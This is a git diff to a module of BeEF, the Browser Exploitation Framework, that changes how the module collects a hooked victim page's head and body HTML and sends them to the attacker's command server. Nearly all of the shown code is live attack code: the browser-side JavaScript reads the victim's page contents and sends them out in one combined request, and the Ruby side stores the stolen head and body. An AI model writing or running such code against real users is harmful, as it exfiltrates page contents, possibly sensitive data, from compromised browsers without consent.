diff --git a/modules/browser/get_page_html/command.js b/modules/browser/get_page_html/command.js
index 27077e895..51926584c 100644
--- a/modules/browser/get_page_html/command.js
+++ b/modules/browser/get_page_html/command.js
@@ -16,18 +16,17 @@
beef.execute(function() {
try {
- var html_head = escape(document.head.innerHTML.toString());
+ var html_head = document.head.innerHTML.toString();
} catch (e) {
var html_head = "Error: document has no head";
}
try {
- var html_body = escape(document.body.innerHTML.toString());
+ var html_body = document.body.innerHTML.toString();
} catch (e) {
var html_body = "Error: document has no body";
}
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'body='+html_body);
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body);
});
diff --git a/modules/browser/get_page_html/module.rb b/modules/browser/get_page_html/module.rb
index 653bcc8fd..6ef33ad89 100644
--- a/modules/browser/get_page_html/module.rb
+++ b/modules/browser/get_page_html/module.rb
@@ -17,7 +17,8 @@ class Get_page_html < BeEF::Core::Command
def post_execute
content = {}
- content['html'] = @datastore['html']
+ content['head'] = @datastore['head']
+ content['body'] = @datastore['body']
save content
end